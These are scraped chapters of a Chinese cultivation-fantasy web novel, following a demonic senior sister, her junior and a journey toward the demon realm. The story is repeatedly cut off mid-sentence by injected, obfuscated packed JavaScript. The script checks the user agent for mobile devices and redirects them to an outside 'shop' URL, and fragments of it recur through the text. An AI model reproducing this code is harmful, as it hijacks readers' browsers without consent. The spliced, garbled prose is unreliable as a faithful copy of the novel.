战场可以用地狱来形容,人族鲜红的血与魔族乌黑的血共同在大地上绘出了一幅、任谁看过都会心惊肉跳的作品。 画面停止,一时之间无人开口,连风声都听不见。 许久之后,林野鹤发出了声音:“看到了么?战争是惨烈的,魔族就是一群只知杀戮的怪物,他们若卷土重来,我方必定损失惨重。” 江砚辞动了动嘴唇,他还沉浸在方才的画面中无法回神:“魔族……” 林野鹤拍拍他的肩膀:“如今魔族不知所踪,我已联系其他宗门的宗主长老尽快去寻,只是恐怕也是大海捞针,想要找到,很难很难。” “而最后的线索只有你知道了。” 他看他脸色不好,很贴心地补充:“我知道你可能一时受了惊吓,回忆不起来,没关系,你慢慢回忆,这段时间内我们会尽可能保证其他人的安全,若想起来了,要记得尽快告诉我。” “这是能与我联系到的纸鹤,到时候你只需把答案写在这上面,放心,没人能查出来线索是你泄露的。” 不过是一个普通的传信纸鹤,哪有这么神奇。 替魔族隐瞒消息,他怎么可能会这么轻易地放过他。 江砚辞失魂落魄,被掌门送回了自己的院子。 他没心情修炼了,躺在榻上乱糟糟地想。 他不明白,魔族狰狞又可怖,自己为什么会无法向掌门说出那个名字。 又为什么,身为人族的那两名蓝袍绿袍修士会想要屠了他全村、夺他灵根,而身为魔族的师姐又将他救了? 他想不通,翻来覆去,最终,他起身,去罪罚司要了一本册子。 这是记录了所有违背宗规弟子的册子,无论是被抓到的,还是逃走的。 他记得那日听到的“处罚”二字,也因为太过震惊,记住了那日地下所有人的脸。 他自认为记忆力还不错,几乎没有出错的可能,于是照着记忆,一个个去对册子上的人。 天历三零零三年,盛阳曜,杀害宗门人三人,逃。 天历三零一四年,郝建树,修邪法,逃。 天历三零三八年,伏紫蓝,勾结敌对宗门,在宗门大比中致使己方五人死亡,逃。 …… 一条条、一框框,全都能对应上。 果然。 师姐并不是无缘无故杀人,她把往年逃掉的所有有罪之人都按照自己心中的标准下了处罚。 他们有的是某位长老的亲传弟子,有的是修真世家的孩子,有的是家族本身与宗门有所来往。 总之,因为这样那样的原因,宗门无法在明面上处罚他们,师姐便亲自动手了。 真的可笑,人族不能自己处罚犯罪之人,还要靠他师姐一个魔族来替他们施刑。 他已下了决心,不会把师姐是魔族的事说出去。 除非有人对他使用搜魂之术。 搜魂乃禁术,他们这些虚伪的名门正道,会有人用吗? 江砚辞不确定,反正大不了一死,纸包不住或火,他们敢这样做,早晚有一天声誉尽毁。 他什么也没干,就这样等着,看谁先沉不住气。 很神奇的感觉,若是以往,他肯定已经吓得发抖,但是如今,他出奇地平静,静静地等着死亡的到来。 江砚辞坐在桌边,旁边就是那只纸鹤,他看也没看,平静地喝了一口苦丁茶。 苦涩的味道在舌尖散开,随后竟然泛起了一丝甘甜,这样回想起来,初入口时倒也不是那么令人难以接受的苦了。 几日过去,生活一切如常,甚至是难得的悠闲。 这日清晨,白鹤刚飞过窗棂,一股强大的威压猛地压下来,江砚辞猝不及防吐出一口血,五脏六腑都错了位。 只需一瞬,他就知道,林野鹤来了。 “准备好了么?” 大能的威压一上来,像他这样的修士根本抗不过一瞬,林野鹤还是收了手的。 江砚辞故意装傻:“准备什么?” 林野鹤高高在上地看了他一眼,纸鹤自动飞回他的手中。 他感应到里面写了字,打开一看,偌大的一张白纸,上面只有两个字——“你猜”。 旁边还画了一个滑稽的鬼脸。 “撕拉——” 纸被他撕碎,额上青筋暴跳,他很久没有这么愤怒了。 威压随着他的怒气一点一点加重,江砚辞从坐着到趴在桌上,最终从椅子上滑下去,蜷缩在地面上。 “有关魔族的消息隐瞒不报,你可知这是重罪。” 江砚辞试着张嘴,张了几次都没能成功,眼眸转动,林野鹤丝毫没有松动的意思。 “你又如何……得知……”江砚辞从牙缝里挤出几个字,“我知道……魔族的消息?” 话音刚落,他便忍不住咳出一口血,血顺着嘴角没入鬓发,黏糊糊的惹人难受,但在锥心的疼痛下,这点难受忽略不计。 “我记得……我什么……都没说吧?你又……如何……如此笃定我……咳咳咳……知道消息的?” “执迷不悟!” 干脆杀了他吧,至于到时候如何解释,那可有太多方法了。 杀气扑面而来,江砚辞仰躺着静静等待死亡的到来。 在某一刻,所有杀气与威压统统消失得无影无踪,他睁开眼,看到被掀翻的屋顶上面,除却一身白衣纤尘不染的林野鹤,还有一人着了一身红衣。 那抹艳丽的红浅笑着,仿佛轻松无比地扛下了林野鹤的威压,并在江砚辞身边形成了一层密不透风的保护罩,让他受不到半点伤害。 被压迫的内脏得到了喘息的机会,空气进入肺中,喉咙被刺激得疼痛无比,但他仍大口大口地呼吸。 他从未觉得,能够顺畅地呼吸是如此幸运的一件事。 师姐的强大是无遗的,浓黑的魔气覆盖了整个天空,青天白日转瞬之间变成了黑夜,没有星星与月亮,是纯粹的黑。这浓厚的魔气并没有随意逸散,而是被她很好地控制在这方寸之间。 再施加一点障眼法,外人便再觉察不出一丝异样。 两位强者的打斗当是惊天动地的,随便一击便能劈开一座山头。 但两人都因为这样那样的原因极尽收敛,将战场局限于这一座小小的山头。 打斗很快结束,陈舒朝并没有杀死掌门,在回合间的空隙中,她瞅准时机,捞起江砚辞便走,没有一丝迟疑。 这一走,她入魔的消息肯定很快便会传开,到时候会有千万修士追杀她,那也没必要再费尽心思地隐藏气息了。 她走得极尽张扬,黑色魔气萦绕在她周围,拖起长剑,一刻不停地带着两人走了。 林野鹤看着他们离开的方向,向其他宗门传了消息后,也立刻御剑追上。 * 路上,魔气模糊了视线,什么也看不清,只隐隐约约感觉到离地面很远。不知道飞了多长时间,也不知道目的地在哪。 江砚辞问师姐:“师姐,你能看清路么?” 陈舒朝把他夹在腋下,一路上除了风声什么都没听见,江砚辞安静得和死了一样,猝不及防听到人开口,她才意识到自己还带了个人,并且还受了不轻的伤。 这么夹着恐怕不舒服。 这孩子,不舒服也不知道吱一声。 她把人端端正正地放在剑后面,假装什么也没发生,然后才开口回答他的问题:“能啊,你不是魔,所以才会被魔气影响。魔气之于魔族,就和灵气之于人族一样,是无形的。就是因为在自己眼中是无形的,入魔之人才会无意识地放出魔气,导致被发现。” “当然,人到了魔族的地盘也一样。” 原来如此。 莫名其妙被上了一课的江砚辞点头:“那我们现在是要去哪?” “我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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气温骤降,她倒是不怕冷,可某个灵力低微的小孩怕。她也只有魔气,没办法为他输入灵力取暖,外面下着雨,更没有干燥的木柴可以生火。 江砚辞是真的冷,他抱着自己的膝盖在角落里缩作一团,默默颤抖,牙齿打颤的声音陈舒朝可以听得清清楚楚。 好冷啊,他不会要冻死在这里吧。 好像也还不错,多活了几个时辰,还没死在林野鹤手中。 已经是莫大的幸运了。 就在他冷得要失去意识时,忽然身上一暖。还带着人的体温的披风,被人披在了他身上。 转眸望去——其实这里面黑得什么都看不见,但他知道那是师姐。 可她原本并没有穿披风。 好冷,还是好冷。 冷得他根本没空思考。 只是迷迷糊糊中,察觉到有人远离,他立马伸手抓住那人的衣角,怎么也不松。 他听到那人叹了一口气,接着便是身子一轻,他被人抱了起来,严严实实地裹在披风中。 陈舒朝抱起他,才知道他抖得有多厉害,无奈又拿出一见披风披在自己身上,将他裹在自己怀中。 江砚辞像只贪恋的幼兽,急切地从母体身上汲取温暖。 陈舒朝抱紧他,出去了。 明明暗自发誓不再管他,任由他自生自灭,然后出去的。 这对他来说最多只是个梦,不会造成任何伤害。 可是…… 她自己也不知道自己为什么要做这种事,罢了罢了,船到桥头自然直。 她顶着漂泊大雨出去了,在她身边一周,自动形成了一个透明的结界,雨水浸不透。 她是出去捡木柴的,出去一圈再回来,身后跟着一大堆木棍与树叶。她的确无法直接为他输入魔气,但是可以用魔气烘干木棍和树叶,以及生火。 火很快升起来,木柴噼里啪啦的燃烧声取代了江砚辞瑟瑟发抖的声音,也盖过了外面一刻不停的雨声。 木柴烧了一堆又一堆,里面的温度终于高了一些,江砚辞没在抖了,反而身体越来越热,越来越热。 陈舒朝扒开披风一看,脸果然很红,一模额头,也很烫。 这是发热了? “师姐……” 江砚辞发出了声音,不知是呢喃还是梦呓。 “我好困。” “嗯,”陈舒朝轻声道,声音很温柔,“睡吧,我在。” 怀中的人撑起眼皮,借着火光看了她一眼,然后放心地闭上了眼。 “师姐,愿得好梦。” “嗯,祝好梦。” 话音落下的之后的很长一段时间,除了噼里啪啦的声音、外面的雨声以及怀中人安稳的呼吸声,再无其他。 陈舒朝抽出了自己的剑,对准江砚辞的脖颈,低声道了句“抱歉”,随即便是红光一闪。 “咔嚓——” 玻璃的破碎声响起,幻境如同玻璃一般碎成了无数片。 陈舒朝就站在这碎片之间,安静地看着碎片上投射出的画面。 从江砚辞进入这个幻境被两名修士追杀,到他拜入无量宗由她负责他的主要入宗事项,再到她入魔之事被发现,最后便是山洞中—— 她杀了他。 结束了,这个仅仅跨过十几日的幻境结束了。 所有碎片消失,陈舒朝从榻上睁开眼; 江砚辞则从医馆中醒来,看到熟悉的地方,他揉了揉眼睛。 “醒啦?” 一名医修看到他,惊喜道。 江砚辞“嗯”了一声,急切地跑出了门。 外面晴空万里。 20. 剑冢 洁白的瓷瓶在阳光下折射出莹莹的光芒。 这是宗门大比的奖品。 水镜碎裂后不久,秘境坍塌,几位长老强行进入秘境,将所有弟子救出。 二十名弟子只有一人是清醒的,那就是陈舒朝。 她也浑身是伤,但是并没有晕过去,而是在其他长老们大范围寻找弟子的途中,将江砚辞拖了出去。 她独自一人,身后还拖着个半死不活的江砚辞,众长老吓了一跳,赶紧喊医修来给她们治疗。治疗好后她还突了个破,第一名的奖品自然落到了她头上。 陈舒朝也是拿到后才知道是什么的。 是两枚丹药,能够将人族转化为妖族的丹药,时效为一个月。 正是她所需要的。 设置这奖品的人是她现在的师尊,力排众议改变规则。 强行让她参赛的人,也是师尊。 瓷瓶在阳光下熠熠生辉,光芒忽然一晃,被陈舒朝收起。与此同时,敲门声响起,她起身开门,外面站着的是她二师兄。 周雨泽眼泪汪汪,上上下下将她打量一番,确认她伤势已经完全恢复,然后“哇”地一声哭出来,上前抱紧她:“呜哇哇哇……秘境坍塌快把我吓死了……呜呜呜……我还以为……还以为你再也出不来了呜呜呜……” 陈舒朝蹙眉,嫌弃地用一根手指抵住他额头,让他不要离她这么近。 “别咒我,一个小秘境而已,长老们怎么可能救不出二十个弟子。” 周雨泽哽咽:“可是、可是呜呜呜……” 他师妹只有筑基,万一在长老们去救之前就…… 陈舒朝知道他的心思,无奈地笑了笑:“行了行了,我不好好的在这么,别哭了,奔丧似的。你来找我什么事,不能就是来我这哭这么一下子吧。师尊呢?” “我就是为了来看你一眼,不行么?”说完他自己都脸红,“师姐那边出了点状况,师尊去找她了。” “发生什么事了?” “不知,她走得挺急,一句话也没留下。” 居然这么着急,什么都没说就走了。 “啊,对了,”周雨泽擦干眼泪,“师妹你已经到了金丹,可以去剑冢选剑了。” 无量宗每位突破到金丹的弟子都能去剑冢选剑,不过说是人选剑,其实是剑选人。只有得到剑的认可,才能将其带出剑冢。 “好,我知道了。” * 第二日,周雨泽去做任务攒积分了,一位长老亲自来带陈舒朝去选剑。 这本来好似单萧的任务,她有事赶不回来,于是将事情交由他处理。 剑冢位于主峰的西南方向,到的时候还未到午时,陈舒朝与这位长老不是很熟,平日里也没怎么见过面,因此一路无话,只在剑冢入口处叮嘱了她几句话。 进入里面,各种各样的剑随处可见,或插在地上,或悬在半空,一眼望过去密密麻麻却没一个入得了她的眼。 “我就送你到这了,剩下的路你要自己走。” “多谢长老。” 越往里走,剑的数量越少,她之前用的无量剑就是在最深处找到的,传说是无量宗开山之祖的剑。 她记得当时与无量剑并排的还有一把剑,她这次的目标就是那把剑,一路上没给其他任何剑一个眼神。 对于她来说,想要的东西直接拿就行,从未考虑到拿不拿得到的问题。 若有东西连她都拿不到,那就没人能拿到了。 陈舒朝走得很快,没用多长时间就到达了最深处,那把剑就插在面前的石头上,因感受到她的到来而兴奋地震颤。 剑认的是灵魂,而不是人。 它记得这个人,天赋极高且绝对强大,没有比她更为合适的人选了。 近了,近了。 马上她就会拔出它,成为它的主人,使用它、驱使它。 它这样期待着,震颤着,引的周围的剑纷纷发出嗡嗡的震颤声回应。 马上,马上了。 那只手却在即将碰到它时停下了。 陈舒朝抬头望向后面的墙壁,里面有什么东西在召唤她,急切的、兴奋的、微弱的、期待的。 那是什么? 她没有丝毫犹豫,拔下眼前的剑,注入灵力直接劈开了墙壁。 手中的剑震颤得厉害,陈舒朝使了点劲压住它:“安静点,吵。” 剑停下来,所有剑都停下了,整个剑冢一瞬间安静,陈舒朝莫名从冷冰冰的剑上读出了委屈。 她挑眉。 一把剑委屈什么。 墙壁劈开来后面是一片虚无。 剑冢其实是在开山之祖坐化而成的秘境里,这是极少有人知道的秘密。 是秘境也就意味着有边界,这墙壁所在的位置不是边界,却与边界紧紧相连,所有人忽略了这个,直接把它当做了边界。 其实它的后面还有一部分空间。 是在这里么? 这里就是这座秘境的边界? 陈舒朝走在一片纯白中,手中物件的在不断颤抖:“你害怕?” 剑抖得更厉害了,仿佛是在回应她。 “没用。” 剑被丢回原本的位置,陈舒朝两手空空继续往里走。 白色,白色,还是白色。 秘境有这么大么,怎么走了这么半天还在这里? 陈舒朝闭上眼,灵力扩散出去描摹整个秘境的形状。 她所在的位置确实是边界,再往前走一步,就会回到她原本所在的位置,可在正正前方,又确实有什么东西在吸引她,她可以确定,那绝对是一把比她以往见到的任何剑都要厉害的一把。 为何感应就在前方,却怎么也过不去? 陈舒朝依旧闭着眼睛,淡金色的灵力一点一点攀在什么东西上,最终描绘出这个纯白世界的真实样子。 原来边界并不是平整的一个圆,也是有山有水有路的,只不过手摸上去是透明的,像雾一般穿过去,若整个身子完全进入,就会被传送回后方。 那么,只要顺着路一直走,不碰着墙壁,就能找到了吧。 从淡金色的轮廓中可以看出,这里与其他地方并无区别,高山树木以及小路,小路两侧有一层透明的屏障。 一直顺着路走,前方不远处有个发着光的东西,暖黄色的光,与她识海的某一处遥遥相应。 不由自主地伸出手,还未触碰到,光团忽地碎成千万荧光,从她腕间的经脉向上流入识海,陈舒朝手腕翻飞,一把剑出现在她手中—— 一把普通得不能再普通,素净得不能再素净的剑。 陈舒朝:“……” 她挑了一下眉,正合她意。 若她真的带了一把一看就不普通的剑出去,那才是真的出大事了,她现在的身份,还是低调些好。 陈舒朝拿着这把剑出去了。 长老瞄了一眼,没说什么,将她送了回去。 于是,这偌大的峰头就只剩自己一个人了,陈舒朝躺了半晌,一个闪身回了惊雷峰。 惊雷峰还是她走时的摸样,她什么也没做,歪在榻上,静静地等待着什么。 * 江砚辞总觉得那个梦真实得可怕,他今夜又梦到了。 那种荒诞感、不真实感一直提醒他是在梦中,可又莫名真实,就好像—— 他真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦好,”江砚辞条件反射地站直,“师姐想吃什么?” “随便做两道菜便可。” “好,那就蒸羊羔和莲叶羹吧。” ? 陈舒朝识海里默默冒出了一个问号。 这人储物袋里装的都是什么。 江砚辞储物袋里什么都有,他每到一个地方都会装一些当地的食材、用具之类的,因此他随身携带的有很多储物袋,物品分类放置,找的时候也很好找。 就是可惜不能储物袋套储物袋这样用,否则空间会发生扭曲,所有储物袋都会报废。 白色的炊烟袅袅升起又被灵气净化,江砚辞一个人在厨房忙活。 陈舒朝视线落在这个窜东窜西的身影上,开口:“我想出去看看。” 既然要找同盟,那就要拿出自己的诚意,她不会太过拐弯抹角去让别人猜测自己的心思。 江砚辞身形一顿,撒盐的手一抖,还好灵力及时将掉出的盐接住,才避免了这道菜会咸死人的结局。 “你愿意帮助我么?” 陈舒朝低垂着眉眼,她的长相无疑是美的、是富有攻击性的,这样主动降低自己的攻击性,将脆弱的一面露出来—— 江砚辞握着锅铲的手紧了紧。 21. 联合 “需要我做什么?” 师姐都和他说了,肯定是需要他帮忙。 师姐需要他帮忙诶。 如果他有尾巴,恐怕现在已经骄傲地翘起来了。 “需要你和我一起去找一种药草,叫月华凝露草,只有妖界妖王殿的后花园里有,我需要的,是它在月亮最圆之夜开出的花。” 距离月亮最圆之夜还有一个月,百年一遇,错过这次就又要等一百年,她等不起。 江砚辞身形微顿:“一起?” 陈舒朝拿出早就准备好的说辞:“嗯,这几天我凝出了一个神识,除了修为几乎与我本人无异,并且可以出封印。” 江砚辞眼睛亮了:“那太好了!师姐你可以出去了!” 陈舒朝松了一口气,藏在身后的手回到前面,转而拿出了一个瓶子。 “这是化妖丹,能将修士从里到外完全变成妖,至于变成什么妖,”丹药在瓶里晃了晃,发出叮叮咚咚的声响,陈舒朝吐出剩下的话,“那就看运气了。” 她把丹药收起来:“现在先不用,等到了妖界再用。” 大比第一名的奖品没有对外公开,所以她能放心地说出来。 “好。”江砚辞应了一声,将出锅的饭菜摆在桌上。 他的厨艺是真不错,还好他愿意给她做饭,不然她就要考虑把他绑起来,只作她一个人的厨师了,她有很多种办法让他听话。 这样想着,她的视线自然地放在了江砚辞身上,看得出来他也很喜欢自己做的饭菜,一口接一口看起来不紧不慢,实则吃得很快。食物在嘴里嚼了一会儿,喉结滚动,咽下去。 注意到她的目光,少年抬起头,努力咽下嘴里的饭菜:“怎么了师姐?” “没事,”陈舒朝不动声色地挪开目光,“你等会儿回去收拾一下,再来找我,我带你走。” “好。” 他看起来真的很高兴,摇头晃脑地刷完了碗,然后出了惊雷峰。 陈舒朝还未完全放心,尽管在幻境中确定了他可以信任,还是分出了一小部分神识跟着他。 见到他真的只是回去收拾东西才松了一口气,只是……他在收拾什么? 床褥衣裳食物?以及,接了一个为期一月的任务? 后者她倒是能理解,是为了掩人耳目。但前面的这些……这都什么跟什么啊。 陈舒朝全程一脸莫名其妙地看完,又跟着他回来了。 他看起来轻松无比,实则身上至少揣了三个储物袋。 “可以走了么?” “可以!” 陈舒朝躺在榻上闭上眼睛,当着他的面分出自己的分身——与自己一模一样。 江砚辞微微瞪大了眼睛,看看站着的师姐,又看看躺着的师姐,再看看站着的师姐,再看看躺着的师姐,如此来回几次,实在是找不到两者的区别。 陈舒朝朝洞口走了两步:“走吧。” 江砚辞愣了几息,随即拦住她:“师姐等等,距离你被封印还不到五十年,这么出去很容易被认出来的。” “这个放心,”她停在封印前,“只有你眼中的我是原本的的我,我施加的有障眼法。” 原来如此。 “别发愣了,快点来带我出去。” “啊,哦。” 江砚辞尝试着放出灵力,属于他的灵力缓慢流淌,一点一点包裹住师姐的身体。 这在往常只是一个极为正常的举动,不知道为什么他总觉得用在师姐身上有点说不出的感觉。 灵力流淌,仿佛变成从他身体中延伸出来的触手—— 在想什么啊他! 江砚辞脸颊爆红,疯狂摇头,将各种想法从自己脑子里面甩出去。 这可是他师姐。 灵力完全裹上后,他们仿佛成了一个人,江砚辞念动咒语,成功带陈舒朝出来了。 成功了! 江砚辞看起来比她还要兴奋,脸颊红扑扑的,也不知道是被冻的,还是兴奋的。 “走吧。” 他们穿过雷区,如入无人之境,畅通无阻。 江砚辞忽地伸手,摸了摸耳垂上挂着的耳坠,梦中的耳坠也是师姐送他的,也是为了让他不受伤害地穿过这个雷区。 不管在梦里还是梦外,师姐都关心着他呢。 陈舒朝是陈之予的时候大多时间都待在杂役峰里,根本没机会到其他峰看看,现在随着江砚辞下山,为避免被其他人发现他们是从惊雷峰出来的,因此绕了远路,她看到了大多数山峰。 与她之前见到的没什么区别,若说最大的变化,便是人不一样了,有的长老新收了弟子,有的弟子外出任务再也没能回来。 只是无论人再怎么变化,只要山峰还在,就差不多还是那个样子。 陈舒朝收回到处看的目光,掠过这条山路的尽头时,停顿了一下。 来不及了。 丰文山正想找江砚辞呢,没想到在路上就遇见了,他快走几步,喊道:“江师侄。” 江砚辞下意识侧了侧身子,挡住陈舒朝大半个人:“大长老。” “正找你呢,你接了那个妖界的任务?” “是,刚从秘境出来,有些许感悟,准备去历练一番。” “历练,历练是没错,可那个任务,对你来说是否太难了些?” “长老这是不信我能完成么?” 急着离开,他少见地对长老说话带了点攻击性,陈舒朝新奇地看着他,仿佛发现了新大陆。 江砚辞的确是有能力的,这任务她看过,不算很难,为何丰文山是这个反应? “我当然相信你能完成,只是妖界凶险,一不小心你就会丢掉半条命。” 丢掉半条命而已,很快就能治好,哪里有这么严重。 等等,陈舒朝忽地明白了什么,丰文山怕的不是江砚辞受伤,而是他发生什么意外。 妖界鱼龙混杂,难免会混进什么恶心的东西,比如魔族。 看来四十年前的她把他们吓得不轻,居然这么多年过去了还不敢让最优秀的弟子离开修真界。 这样培养出来的修士再厉害也只是绣花枕头,迟早要完。 “我不怕,任务摆出来就是让人接的,你没有理由阻拦我。” 江砚辞直视他,眼眸里是不容任何人改变的坚定。 丰文山败下阵来:“可以,但是你要戴上这个。” 他拿出一个铃铛,亲自为他绑在腰间:“当这个铃铛响的时候,必须离开。” 这铃铛是检测魔气的,很灵敏,即便她只是本体的一部分神识,带出来的些微魔气在使用时也能被检测出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“抱歉。” 他垂下头道歉的样子就像一只毛绒绒的大狗狗,陈舒朝觉得吃下化妖丹后他很有可能化为一只狗妖,手感也肯定不错。 “道什么歉,走吧。” 她已经上剑了。 城市上空都有禁空令,两人一路绕开城市走,直到夜幕降临,才找了个地方歇脚。 这里是州清城,位于无量宗与妖界连线的中间位置,再经过一日就能到妖界了。 州清城很热闹,听说隔壁城市发生了一件大事,很多人都在往这边迁移,几遍是夜间,城门口也排起了长长的队,进行入城检查。 两人排上去不久,身后就又排了一大批人。 陈舒朝不经意间回头一望,目光陡然顿住。 她想起来自己为什么会觉得长风这个名字耳熟了。 这不是归一剑宗的镇宗之宝么!为什么会在无量宗剑冢里,还认她为主了? 陈舒朝把视线从哪一群穿着归一剑宗宗服的修士身上挪开。 还好她已经把剑收起来了。 22. 归一剑宗 长风剑比无量剑的历史要悠久得多,传说是在立宗之前就存在的,一直没能认主,渐渐成了镇宗之宝。 原来传说中的长风剑长得如此普通,若是他们发现剑丢了,恐怕得把整个修真界翻个底朝天。 陈舒朝默默往前挤了挤,江砚辞被挤到了,扭头问她:“师姐,怎么了?” “无事,前面的人走了,再往前走点。” 是么? “你们也是修真之人?” 身后不远处传来询问的声音,他想要扭头,却被扼制住了命运的后脖颈,一双手将他的头固定,无法扭动。 陈舒朝装作不知道是喊他们的。 “诶,怎么不理人,有没有礼貌啊你们!” “不得无礼,”一道稍显威严的声音制止了他,“这位姑娘,以及姑娘前面的兄台,敢问两位可是修士?” 人家都这样说了,若是再装作听不见就不礼貌了。 陈舒朝不得已回过身,不动声色地打量几人。 对方有五人,一位元婴中期,两位元婴初期,两位金丹后期。 他们都不弱,发生什么事了,能让归一剑宗派出这些宝贝? “抱歉。方才在想事情,没听到几位的声音。” “说谎,我看到你身后那位兄台想要扭头,却被你阻止了!” 这是最初的那道声音,她循声望去,那人看起来比江砚辞年龄还要小。 一个小屁孩罢了:“什么能证明你看到了,好吧,就算你看到了,你又如何证明他是因为听到了你的声音才扭头的?” 不可理喻! 小孩被气得呼吸急促,手上青筋暴起,似乎马上就要拔剑了。 “喂,沈卿尘,你吃火药了么,脾气这么炸。” 说话的是一位小姑娘,头上扎着两个小啾啾,圆脸,长得挺可爱。 “夏云亭!你怎么帮着外人说话!” “叫师姐!你懂点礼貌行不行!” “凭什么叫你师姐,就因为你入门比我早么?!” “沈卿尘,你长点脑子行不行?” 两人吵得不可开交,依陈舒朝的拙见,这位沈卿尘小兄弟脑子应该确实有点毛病。 “别吵了。”看着稍微有点威严的男人开口了,“回去随便你们吵,在外面别丢我们归一剑宗的脸。” “知道了大师兄。” 两人异口同声道,然后互相看了对方一眼,冷哼一声,站在了离对方最远的位置。 “抱歉两位,他们一直都是这样。”温婉的大姐姐开口了,“你方才说一直在想事情,你们也是为方城的事来的么?” 方才说话的一直是前面的那位姑娘,因此她的话也是对着她说的。 “方城?”陈舒朝对这里的了解不多,她推测道,“这些排队的人都是来自方城么?” “看来你们不知道,那为何会来这里?” 方城位于千仞宗、归一剑宗、以及无量宗的交界地带,修士很少来这里。但若较真起来,这里还是属于归一剑宗的地盘,这两人他们宗的弟子,既不是为除妖而来,又是为何? “我们的目的地并非州清城,也并非方城,只是天色已晚,恰在此处歇脚罢了。” 陈舒朝无意与他们多作纠缠,只希望他们问完话赶快闭嘴。 “原来如此……” 最后一个字音还未落,又被人打断:“师姐,你真信他们么,哪有这么巧的事?不应该好好问问,他们的目的地到底是哪里么?” 那位女子看起来忍很久了,二话不说一个禁言术下去,世界安静了。 “抱歉,我师弟实在是有些……” “我懂我懂。”陈舒朝露出个「不必多说,我都懂」的表情,“快到我们了,那就希望我们就此别过。” 这的确是不怎么好的经历,她对她的话也没有多作反驳,只微微点头示意。 * 终于进城了,陈舒朝长出一口气,选了个与归一剑宗完全相反的方向走。 州清城是很会做生意的,立足三宗交汇之处,占据了很大一部分的货物运输市场,以及各种市面上不允许出现的灰色产业,城内金砖银瓦,奢豪非常。 “师姐,你不喜欢归一剑宗的人么?” “嗯,不喜欢。” 再多的,她没有解释,只是暗自赞叹幸好自己也给江砚辞易了容,否则以他的知名程度,方才就肯定是要被问上一番的。 “走吧,我们快点去找个客栈落脚。” “好。” 江砚辞知道师姐有很多秘密,他好奇,但不会去过多探索,只要知道师姐是好人就够了,是在他的观念中认定的好人。 走了不远就碰到了一座客栈,陈舒朝走进去:“老板,两个房间。” 老板笑嘻嘻的:“呦,客官,您来得不巧了,咱们的房已经满了。” 满了? 她找到第二个客栈。 “老板,两间房。” “客官来得不巧,我们这儿满员了。” …… 第三个。 “老板,这儿还有房么?” “没了,客官要不来两盏茶?” …… “老板!” “满了。” …… “老板!” “满员。” …… …… “这偌大个州清城,竟没有一个客栈还有空房。” “师姐,这里还有一个。” 陈舒朝顺着他手指的地方看过去,只见那里的确还有一座客栈,只是这左右两边都没有建筑,只它一栋孤零零的,有点诡异。 特别现在还是晚上,橙红的灯笼看起来没有多喜庆,反倒阴森森的。 “要不我们还是赶路吧,倒也没必要休息。” 江砚辞咽了口口水道。 可元婴的修为还支撑不了他们从无量宗一路飞到妖界,这中间好不容易有个城镇,再遇到就不一定是什么时候了。 “进去吧,凡人城镇里,应当不会有什么危险的东西。” 陈舒朝率先推开了门,然后,将门关上,原路倒退回去。 “里面有什么?” “是归一剑宗的人。” 真是冤家路窄。 不到两息时间,门又被打开,那位大师兄看到他们,微不可察地挑了一下眉:“这么巧,还剩一个房间,你们要进来么?” “进。” 反正就一个晚上,以后山高路远,永不相见。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741602|188625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她在进去时,清晰地听见有人哼了一声,随即便是被揍的声音。 尽管这几人看起来都没什么正形,但是清晰知道这些人修为的陈舒朝知道,最好还是不要与他们起太大的摩擦。 在踏上最后一级台阶时,陈舒朝侧身朝下面看了一眼。 他们五人围坐在一起讨论着什么,其中一位自始至终没说过话的小姑娘抬眸,精确地捕捉到了她的视线。 陈舒朝朝她挥挥手,走了。 这个客栈挺贵的,但是住进去之后,陈舒朝觉得它值这个价格。 不说一切设施都很完善,它的榻很大,足足能够睡下五个人的大。 陈舒朝命令江砚辞:“今晚把被子挡在中间,我们谁也不能超过被子。” 江砚辞没想到师姐会这样说:“我们、睡一个榻么?” “不然呢,我们都到好好休息,恢复灵力和精力,不然明日无法一次飞到妖界。” “不是这个意思。” 江砚辞在房间里找了个稍微大点的地方,手伸进储物袋里,拿出了一个大物什。 陈舒朝定睛一看,是一张榻。 陈舒朝:“……” 忘记这人出门要搬家了。 “那行,那我就一个人占用这么大一张塌了。” 江砚辞当然没有异议。 夜深了,月亮高悬,一些虫子开始出没,在黑夜里欢叫。 伴着各种各样的虫鸣,陈舒朝睡着了。 过了许久,她旁边的小榻上,出现了极轻极轻的翻身声。 江砚辞原本是背对着她睡的,在听到她的呼吸变得绵长后,才小心翼翼地转过身。 他睡不着,不光风声吵、虫鸣吵,甚至师姐的呼吸声也在他的耳中无限放大。 睡不着他干脆起来打坐,这样也算是休息,不过效果肯定没有睡觉来的好。 大概是今夜格外吵的原因,他打坐也没有将全部精力投入,所以当外面的巨大声响响起时,他立马作出了反应。 江砚辞猛地睁眼,刚要开口喊师姐,却发现师姐已经坐起来了。 他们两个都是和衣而眠,反应极快地下榻,朝旁边一躲。 下一瞬,一道剑光便携风而来,劈碎了窗户。 两人对视一眼,套上鞋便从窗口跳出。 